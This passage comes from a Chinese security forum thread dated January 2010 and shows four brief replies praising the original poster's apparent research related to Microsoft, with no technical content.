发帖
回帖
粉丝
cqyxyxyx 活跃值 2010-1-25 14:10
22
0
强大!怎么不说我们国内的安全人士发现的啊!
        同时:微软,你太"嘿"了。......
雪    币: 536
活跃值: 活跃值 (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
蚊香 活跃值 3 2010-1-25 16:28
23
0
比专业人士还玩命
雪    币: 3694
活跃值: 活跃值 (142)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
viphjw 活跃值 2010-1-25 16:40
24
0
看不懂凑热闹进来友情捧场的飘过
雪    币: 58
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
skybright 活跃值 2010-1-25 17:03
25
0
很好,很强大,前端时间也研究过,但是没有LZ这么深入!
游客
登录 | 注册 方可回帖
返回